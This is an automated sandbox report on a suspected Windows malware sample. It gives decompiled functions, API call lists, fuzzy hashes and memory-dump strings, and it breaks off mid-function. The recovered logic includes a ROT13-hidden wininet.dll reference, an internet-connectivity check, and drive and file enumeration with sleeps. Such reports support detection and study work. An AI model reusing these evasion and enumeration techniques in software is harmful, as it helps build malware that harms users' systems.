Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedHandleInternetLibraryLoadModuleSleepState
String ID: L@$admin@bigtits.com
API String ID: 2287753751-2810593236
Opcode ID: c4923e9d2adc1735435ee3343d15d9114c514d9cd1cf3e75ac1c13b8b8656890
Instruction ID: f8f521ecf4af99865028921a37a865861f0bf00d847523e115314e8123b3051d
Opcode Fuzzy Hash: c4923e9d2adc1735435ee3343d15d9114c514d9cd1cf3e75ac1c13b8b8656890
Instruction Fuzzy Hash: 8611CE769053198BCB51EF64D9845CEBBF4EF44314F40857BE885A3240EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00404620 Relevance: 7.5, APIs: 5, Instructions: 34
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404620(CHAR* _a4, int _a8, CHAR* _a12) {
				void* _v12;
				void* _v20;
				void* _v24;
				CHAR* _v28;
				int _t13;
				CHAR* _t14;
				int _t15;
				CHAR* _t16;
				void* _t17;
				CHAR** _t20;

				_t16 = _a4;
				_t15 = _a8;
				memset(_t16, 0, _t15);
				_t13 = GetSystemDirectoryA(_t16, _t15);
				_v28 = _t16;
				L0040C310();
				_t20 = _t17 - 4;
				if( *((char*)(_t13 + _t16 - 1)) != 0x5c) {
					_v28 = 0x40f156;
					 *_t20 = _t16;
					L0040C328();
					_t20 = _t20 - 8;
				}
				_t14 = _a12;
				_v28 = _t14;
				 *_t20 = _t16;
				L0040C328();
				return _t14;
			}

0x00404628
0x0040462b
0x0040463d
0x00404649
0x00404651
0x00404654
0x00404659
0x00404661
0x00404663
0x0040466b
0x0040466e
0x00404673
0x00404673
0x00404676
0x00404679
0x0040467d
0x00404680
0x0040468e

APIs

memset.MSVCRT ref: 0040463D
GetSystemDirectoryA.KERNEL32 ref: 00404649
lstrlen.KERNEL32 ref: 00404654
lstrcat.KERNEL32 ref: 0040466E
lstrcat.KERNEL32 ref: 00404680

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$DirectorySystemlstrlenmemset
String ID:
API String ID: 1065462249-0
Opcode ID: 52e21126391f9f1a99804af5917ba2fff1412d2631d262131c3ca1ad05ec0486
Instruction ID: 403430f860fbc260acd97b7d31e4c447ffd2c09bc4da5a50c9a35cc548e728c4
Opcode Fuzzy Hash: 52e21126391f9f1a99804af5917ba2fff1412d2631d262131c3ca1ad05ec0486
Instruction Fuzzy Hash: F8F019B1408714DBD700BF29D98555EBFA4AB44754F40892EFC8867282D3399A588BDB

Uniqueness

Uniqueness Score: -1.00%

Function 10002209 Relevance: 7.5, APIs: 5, Instructions: 34
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10002209(CHAR* _a4, int _a8, CHAR* _a12) {
				void* _v12;
				void* _v20;
				void* _v24;
				CHAR* _v28;
				int _t13;
				CHAR* _t14;
				int _t15;
				CHAR* _t16;
				void* _t17;
				CHAR** _t20;

				_t16 = _a4;
				_t15 = _a8;
				memset(_t16, 0, _t15);
				_t13 = GetSystemDirectoryA(_t16, _t15);
				_v28 = _t16;
				L10003570();
				_t20 = _t17 - 4;
				if( *((char*)(_t13 + _t16 - 1)) != 0x5c) {
					_v28 = 0x1000508e;
					 *_t20 = _t16;
					L10003578();
					_t20 = _t20 - 8;
				}
				_t14 = _a12;
				_v28 = _t14;
				 *_t20 = _t16;
				L10003578();
				return _t14;
			}

0x10002211
0x10002214
0x10002226
0x10002232
0x1000223a
0x1000223d
0x10002242
0x1000224a
0x1000224c
0x10002254
0x10002257
0x1000225c
0x1000225c
0x1000225f
0x10002262
0x10002266
0x10002269
0x10002277

APIs

memset.MSVCRT ref: 10002226
GetSystemDirectoryA.KERNEL32 ref: 10002232
lstrlen.KERNEL32 ref: 1000223D
lstrcat.KERNEL32 ref: 10002257
lstrcat.KERNEL32 ref: 10002269

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$DirectorySystemlstrlenmemset
String ID:
API String ID: 1065462249-0
Opcode ID: 5b75b92667313997f23b2e058039c06bba9c640d4edaca3627a5a6efffba8954
Instruction ID: 135e321319e3b7b44d062fa0e30293860b296fd840e12ca3df5e4efe39fd7587
Opcode Fuzzy Hash: 5b75b92667313997f23b2e058039c06bba9c640d4edaca3627a5a6efffba8954
Instruction Fuzzy Hash: C9F037B5808B14AAE702FF28D98655EBFA8EF04691F40891DF88847209D735A658CBD3

Uniqueness

Uniqueness Score: -1.00%

Function 10001E04 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

xstrchr.SHERVANS ref: 10001EAA
xstrchr.SHERVANS ref: 10001EEA

Strings

abcdefghijklmnopqrstuvwxyz, xrefs: 10001E57
ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 10001E12

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: xstrchr
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZ$abcdefghijklmnopqrstuvwxyz
API String ID: 1535612035-4170113403
Opcode ID: bc1ef4a9f8f1add477f6933fc24e9eacfb8676c16534aea7655073907d0485ef
Instruction ID: a9ec9f0fff6549f24d3912a7d9d51164a33b52da91e11de3f78b76783671d1e7
Opcode Fuzzy Hash: bc1ef4a9f8f1add477f6933fc24e9eacfb8676c16534aea7655073907d0485ef
Instruction Fuzzy Hash: 22315E74A052698FDB15CFBCC9C05AEBFF4AB08382F04016AE844D7359E735AA45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 10003150 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

GetAtomNameA.KERNEL32 ref: 1000316F

Part of subcall function 10003430: fprintf.MSVCRT ref: 1000345D
Part of subcall function 10003430: fflush.MSVCRT ref: 1000346D
Part of subcall function 10003430: abort.MSVCRT(?,?,?,?,?,100031CE), ref: 10003472

Strings

../../gcc/gcc/config/i386/w32-shared-ptr.c, xrefs: 100031C0
w32_sharedptr->size == sizeof(W32_EH_SHARED), xrefs: 100031A7
GetAtomNameA (atom, s, sizeof(s)) != 0, xrefs: 100031CE

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: AtomNameabortfflushfprintf
String ID: ../../gcc/gcc/config/i386/w32-shared-ptr.c$GetAtomNameA (atom, s, sizeof(s)) != 0$w32_sharedptr->size == sizeof(W32_EH_SHARED)
API String ID: 2513348418-2567175902
Opcode ID: b5b89244b8b56d368d30c6de513500384bbf397f3e0a96e467b4627a87de939c
Instruction ID: 294674767859e6a3630ece78654cf0563df7f20052ecafb954434dc6b69ec127
Opcode Fuzzy Hash: b5b89244b8b56d368d30c6de513500384bbf397f3e0a96e467b4627a87de939c
Instruction Fuzzy Hash: 77015270A04382ABF705DFA5C08429FBBE4EF893C5F50C83EE5898B759D67988409B46

Uniqueness

Uniqueness Score: -1.00%

Function 00404F0A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39librarynetworkCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00404F27
LoadLibraryA.KERNEL32 ref: 00404F41
InternetGetConnectedState.WININET ref: 00404F6B

Strings

jvavarg.qyy, xrefs: 00404F11

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ConnectedHandleInternetLibraryLoadModuleState
String ID: jvavarg.qyy
API String ID: 2811557832-2169444084
Opcode ID: 7c6175a941508692fdaf67fbae8ce577e0da1e0ff510d98013a560bc4e03a36a
Instruction ID: fa78873cf606c18224dba544ef8f20ca223ab6e2b08164375e4fcb1cbc50bc80
Opcode Fuzzy Hash: 7c6175a941508692fdaf67fbae8ce577e0da1e0ff510d98013a560bc4e03a36a
Instruction Fuzzy Hash: 03F062B551530486DB10BF359AC629D7AE85F41368F058A3EF8A1A32D2E73CD64CC716

Uniqueness

Uniqueness Score: -1.00%

Function 00403A38 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38sleepCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00403A5C
GetDriveTypeA.KERNEL32 ref: 00403A9D
Sleep.KERNEL32 ref: 00403AB1

Part of subcall function 00403790: _mbscpy.MSVCRT ref: 004037D8
Part of subcall function 00403790: memset.MSVCRT ref: 0040383B
Part of subcall function 00403790: FindFirstFileA.KERNEL32 ref: 0040385C
Part of subcall function 00403790: lstrcpy.KERNEL32 ref: 004038CC
Part of subcall function 00403790: _mbscat.MSVCRT ref: 00403910

Strings

C:\, xrefs: 00403A85

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: memset$DriveFileFindFirstSleepType_mbscat_mbscpylstrcpy
String ID: C:\
API String ID: 3442435128-3404278061
Opcode ID: 80ea77316c1bc4b967dddd0ea6824f094094c5e0836f8c07d72c2391017bcb4f
Instruction ID: ed4c8215e4a3680eb399a4dacd5268703db01feabc7491714eb621602a4a9c6d
Opcode Fuzzy Hash: 80ea77316c1bc4b967dddd0ea6824f094094c5e0836f8c07d72c2391017bcb4f
Instruction Fuzzy Hash: 1A015BB0C143AC89DB65AB6588563DEBFB49F01319F0484DED6C826282C7784BD8CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B740 Relevance: 6.4, APIs: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040B740(intOrPtr* _a4) {
				void* _v16;
				void* _v20;
				void* _v24;
				void** _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* __ebx;
				void* __esi;
				intOrPtr _t37;
				long _t39;
				void* _t40;
				void* _t41;
				void* _t43;
				void* _t47;
				void* _t58;
				void** _t61;
				void* _t62;
				intOrPtr* _t64;
				void* _t68;
				intOrPtr* _t72;
				intOrPtr* _t76;
				long* _t77;

				_t37 =  *0x418284;
				_t72 = _a4;
				if(_t37 == 0) {
					E0040B0E0(_t37);
					_t37 =  *0x418284;
					if( *((intOrPtr*)(_t37 + 0x30)) >= 0) {
						goto L2;
					} else {
						goto L18;
					}
					L8:
					if(_t68 == 5) {
						return 5;
					} else {
						if(_t68 != 0) {
							L13:
							_t43 = 3;
							goto L14;
						} else {
							if(_t64 == 0) {
								L5:
								_t41 =  *_v24;
								_v24 = _t41;
								while(1) {
									L6:
									_t64 = 0;
									_t68 = 5;
									if(_t41 != 0) {
										_t64 =  *((intOrPtr*)(_t41 + 0x18));
										_t68 = 0;
									}
									goto L8;
								}
							} else {
								_v40 = _t61;
								_v44 = _t72;
								 *_t76 = 1;
								_v52 =  *_t72;
								_v48 =  *((intOrPtr*)(_t72 + 4));
								_v56 = 1;
								_t47 =  *_t64();
								if(1 == 6) {
									 *((intOrPtr*)(_t72 + 0xc)) = 0;
									 *((intOrPtr*)(_t72 + 0x10)) = _v24;
									_v24 = _v20;
									_t43 = E0040B6B0(_t72, _t61);
									if(_t43 == 7) {
										_t51 =  *0x418284;
										_t62 = _v24;
										if(_t51 == 0) {
											E0040B0E0(_t51);
											_t51 =  *0x418284;
										}
										if( *(_t51 + 0x30) < 0) {
											E0040B3B0(_t62, _t74);
											_t51 =  *0x418284;
										}
										_t74 =  *(_t51 + 0x30);
										if( *(_t51 + 0x30) != 0) {
											_v56 = _t62;
											 *_t76 =  *((intOrPtr*)(_t51 + 0x2c));
											if(TlsSetValue(??, ??) == 0) {
												GetLastError();
											}
										} else {
											 *((intOrPtr*)(_t51 + 0x28)) = _t62;
										}
										_t51 = _v24;
										_t76 =  *((intOrPtr*)(_v24 + 0x28));
										goto __ecx;
									}
									L14:
									return _t43;
								} else {
									if(_t47 == 8) {
										goto L5;
									} else {
										goto L13;
									}
								}
							}
						}
					}
				} else {
					if( *((intOrPtr*)(_t37 + 0x30)) < 0) {
						L18:
						E0040B3B0(_t58, _t74);
						_t37 =  *0x418284;
					}
				}
				L2:
				if( *((intOrPtr*)(_t37 + 0x30)) != 0) {
					_t39 = GetLastError();
					 *_t76 =  *((intOrPtr*)(_t37 + 0x2c));
					_t74 = _t39;
					_t40 = TlsGetValue(??);
					_t77 = _t76 - 4;
					 *_t77 = _t39;
					SetLastError(??);
					_t41 = _t40;
					_t76 = _t77 - 4;
				} else {
					_t41 =  *(_t37 + 0x28);
				}
				_v20 = _t41;
				_t61 =  &_v24;
				_v24 = _t41;
				goto L6;
			}

0x0040b749
0x0040b74e
0x0040b753
0x0040b81c
0x0040b821
0x0040b82b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b798
0x0040b79b
0x0040b7ef
0x0040b79d
0x0040b79f
0x0040b7d6
0x0040b7d6
0x00000000
0x0040b7a1
0x0040b7a3
0x0040b780
0x0040b783
0x0040b785
0x0040b788
0x0040b788
0x0040b788
0x0040b78c
0x0040b791
0x0040b793
0x0040b796
0x0040b796
0x00000000
0x0040b791
0x0040b7a5
0x0040b7a5
0x0040b7a9
0x0040b7b2
0x0040b7b9
0x0040b7c2
0x0040b7c6
0x0040b7ca
0x0040b7cf
0x0040b840
0x0040b84c
0x0040b852
0x0040b857
0x0040b85f
0x0040b865
0x0040b86a
0x0040b86f
0x0040b893
0x0040b898
0x0040b898
0x0040b876
0x0040b8be
0x0040b8c3
0x0040b8c3
0x0040b878
0x0040b87d
0x0040b8a2
0x0040b8a6
0x0040b8b4
0x0040b8b6
0x0040b8b6
0x0040b87f
0x0040b87f
0x0040b87f
0x0040b882
0x0040b88e
0x0040b891
0x0040b891
0x0040b7db
0x0040b7e2
0x0040b7d1
0x0040b7d4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040b7d4
0x0040b7cf
0x0040b7a3
0x0040b79f
0x0040b759
0x0040b75e
0x0040b831
0x0040b831
0x0040b836
0x0040b836
0x0040b75e
0x0040b764
0x0040b769
0x0040b7f3
0x0040b7f9
0x0040b7fc
0x0040b7fe
0x0040b804
0x0040b809
0x0040b80c
0x0040b812
0x0040b814
0x0040b76f
0x0040b76f
0x0040b76f
0x0040b772
0x0040b775
0x0040b778
0x00000000

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93a37cc761da05d28123ec6793a1aa2a7504f56957f8d3d69b3e88f2f85eb7ef
Instruction ID: 45d732202371662b8addf3eaaaff00240ebc5fc11857fefe16626fd26bfd471c
Opcode Fuzzy Hash: 93a37cc761da05d28123ec6793a1aa2a7504f56957f8d3d69b3e88f2f85eb7ef
Instruction Fuzzy Hash: C4413A75A002058FCB44EF69D684A6AB7F5FB88310F15857ED805AB3A1D738ED01CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B9C0 Relevance: 6.4, APIs: 5, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0040B9C0(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				void* _v24;
				intOrPtr _v40;
				intOrPtr _t39;
				long _t41;
				void* _t42;
				void* _t43;
				void* _t47;
				void* _t54;
				void* _t64;
				intOrPtr _t73;
				intOrPtr* _t79;
				long* _t80;

				_t59 = __ebx;
				_v8 = __edi;
				_t73 = _a4;
				_v16 = __ebx;
				_v12 = __esi;
				_t39 =  *0x418284;
				if(_t39 == 0) {
					E0040B0E0(_t39);
					_t39 =  *0x418284;
					_t76 =  *(_t39 + 0x30);
					if( *(_t39 + 0x30) >= 0) {
						L2:
						if( *(_t39 + 0x30) != 0) {
							L9:
							_t41 = GetLastError();
							 *_t79 =  *((intOrPtr*)(_t39 + 0x2c));
							_t76 = _t41;
							_t42 = TlsGetValue(??);
							_t80 = _t79 - 4;
							 *_t80 = _t41;
							SetLastError(??);
							_t43 = _t42;
							_v20 = _t43;
							_v24 = _t43;
							_t79 = _t80 - 4;
							 *((intOrPtr*)(_t73 + 0xc)) = _a8;
							 *((intOrPtr*)(_t73 + 0x10)) = _a12;
							_t47 = E0040B8D0(_t73,  &_v24);
							if(_t47 != 7) {
								L4:
								return _t47;
							}
							L11:
							_t48 =  *0x418284;
							_t64 = _v24;
							if(_t48 == 0) {
								E0040B0E0(_t48);
								_t48 =  *0x418284;
							}
							if( *((intOrPtr*)(_t48 + 0x30)) < 0) {
								E0040B3B0(_t64, _t76);
								_t48 =  *0x418284;
							}
							if( *((intOrPtr*)(_t48 + 0x30)) != 0) {
								_v40 = _t64;
								 *_t79 =  *((intOrPtr*)(_t48 + 0x2c));
								if(TlsSetValue(??, ??) == 0) {
									GetLastError();
								}
							} else {
								 *((intOrPtr*)(_t48 + 0x28)) = _t64;
							}
							_t48 = _v24;
							_t79 =  *((intOrPtr*)(_v24 + 0x28));
							goto __ecx;
						}
						L3:
						_t54 =  *(_t39 + 0x28);
						_v20 = _t54;
						_v24 = _t54;
						 *((intOrPtr*)(_t73 + 0xc)) = _a8;
						 *((intOrPtr*)(_t73 + 0x10)) = _a12;
						_t47 = E0040B8D0(_t73,  &_v24);
						if(_t47 == 7) {
							goto L11;
						}
						goto L4;
					}
					L7:
					E0040B3B0(_t59, _t76);
					_t39 =  *0x418284;
					if( *(_t39 + 0x30) == 0) {
						goto L3;
					}
					goto L9;
				}
				_t76 =  *(_t39 + 0x30);
				if( *(_t39 + 0x30) < 0) {
					goto L7;
				}
				goto L2;
			}

0x0040b9c0
0x0040b9c6
0x0040b9c9
0x0040b9cc
0x0040b9cf
0x0040b9d2
0x0040b9d9
0x0040ba20
0x0040ba25
0x0040ba2a
0x0040ba2f
0x0040b9e2
0x0040b9e7
0x0040ba60
0x0040ba63
0x0040ba69
0x0040ba6c
0x0040ba6e
0x0040ba74
0x0040ba79
0x0040ba7c
0x0040ba82
0x0040ba87
0x0040ba8a
0x0040ba90
0x0040ba93
0x0040ba99
0x0040ba9e
0x0040baa6
0x0040ba11
0x0040ba1d
0x0040ba1d
0x0040bab0
0x0040bab0
0x0040bab5
0x0040baba
0x0040bafd
0x0040bb02
0x0040bb02
0x0040bac1
0x0040bb09
0x0040bb0e
0x0040bb0e
0x0040bac8
0x0040bae1
0x0040bae5
0x0040baf3
0x0040baf5
0x0040baf5
0x0040baca
0x0040baca
0x0040baca
0x0040bacd
0x0040bad9
0x0040badc
0x0040badc
0x0040b9e9
0x0040b9e9
0x0040b9ef
0x0040b9f2
0x0040b9f8
0x0040b9fe
0x0040ba03
0x0040ba0b
0x00000000
0x00000000
0x00000000
0x0040ba0b
0x0040ba40
0x0040ba40
0x0040ba45
0x0040ba4f
0x00000000
0x00000000
0x00000000
0x0040ba51
0x0040b9db
0x0040b9e0
0x00000000
0x00000000
0x00000000

APIs

GetLastError.KERNEL32 ref: 0040BA63
TlsGetValue.KERNEL32 ref: 0040BA6E
SetLastError.KERNEL32 ref: 0040BA7C
TlsSetValue.KERNEL32 ref: 0040BAE8
GetLastError.KERNEL32 ref: 0040BAF5

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ErrorLast$Value
String ID:
API String ID: 1883355122-0
Opcode ID: 76128aff822269898b8914e3844feebccba58d7589f724bc458a13517587ad4f
Instruction ID: 23407aeb104a5e4d22db15432d45e4df2a3b4d44022ab58e5814b8ef13b66587
Opcode Fuzzy Hash: 76128aff822269898b8914e3844feebccba58d7589f724bc458a13517587ad4f
Instruction Fuzzy Hash: A341F8B4B006198FCB50DF69D58099ABBF4FF08310B1585BAD919AB351E734AD00CFDA

Uniqueness

Uniqueness Score: -1.00%

Function 00402E0D Relevance: 6.3, APIs: 5, Instructions: 65stringsleepCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32 ref: 00402E21
lstrcat.KERNEL32 ref: 00402E3B

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

lstrcat.KERNEL32 ref: 00402E63
lstrcat.KERNEL32 ref: 00402E85
Sleep.KERNEL32 ref: 00402EC5
lstrcat.KERNEL32 ref: 00402EAA

Part of subcall function 00404F0A: GetModuleHandleA.KERNEL32 ref: 00404F27
Part of subcall function 00404F0A: LoadLibraryA.KERNEL32 ref: 00404F41
Part of subcall function 00404F0A: InternetGetConnectedState.WININET ref: 00404F6B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$ConnectedCountHandleInternetLibraryLoadModuleSleepStateTickrandsrand
String ID:
API String ID: 1562643418-0
Opcode ID: a1067839a208299eab76daf55394ac3ec8733fb75f3d0707a547c42b76d0ecf2
Instruction ID: f63abfe6bd6a6f6ba5da5a44fc92895626e452bfcf87627a9a73b7892de61845
Opcode Fuzzy Hash: a1067839a208299eab76daf55394ac3ec8733fb75f3d0707a547c42b76d0ecf2
Instruction Fuzzy Hash: 0021ECB59143048BCB10EF64D9816DEBBF0EF84314F40897FE584A3281EB389698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 10001BBE Relevance: 6.1, APIs: 4, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E10001BBE(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, short* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v17;
				void* _v36;
				short* _v40;
				void* _t27;
				signed int _t28;
				void* _t33;
				void* _t38;
				signed int _t42;
				void* _t43;
				intOrPtr _t46;
				short* _t49;
				intOrPtr* _t51;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t46 = _a4;
				_t49 = _a8;
				_v17 = 0xff;
				_v36 = 2;
				_v40 = _t49;
				 *_t51 = _t46;
				_t28 = E1000128D(_t27);
				_t43 = 0;
				if(_t28 == 0) {
					L9:
					return _t43;
				}
				_t42 =  *(_t49 + 1) & 0x000000ff;
				_t43 = 0;
				if(((_t28 & 0xffffff00 |  *_t49 != 0x00000005 | 0 | _t42 == 0x00000000) & 0x00000001) != 0) {
					goto L9;
				}
				_v36 = _t42;
				_v40 = _t49;
				 *_t51 = _t46;
				_t33 = E1000128D(_t42);
				_t43 = 0;
				if(_t33 == 0) {
					goto L9;
				}
				while(1) {
					_t42 = _t42 - 1;
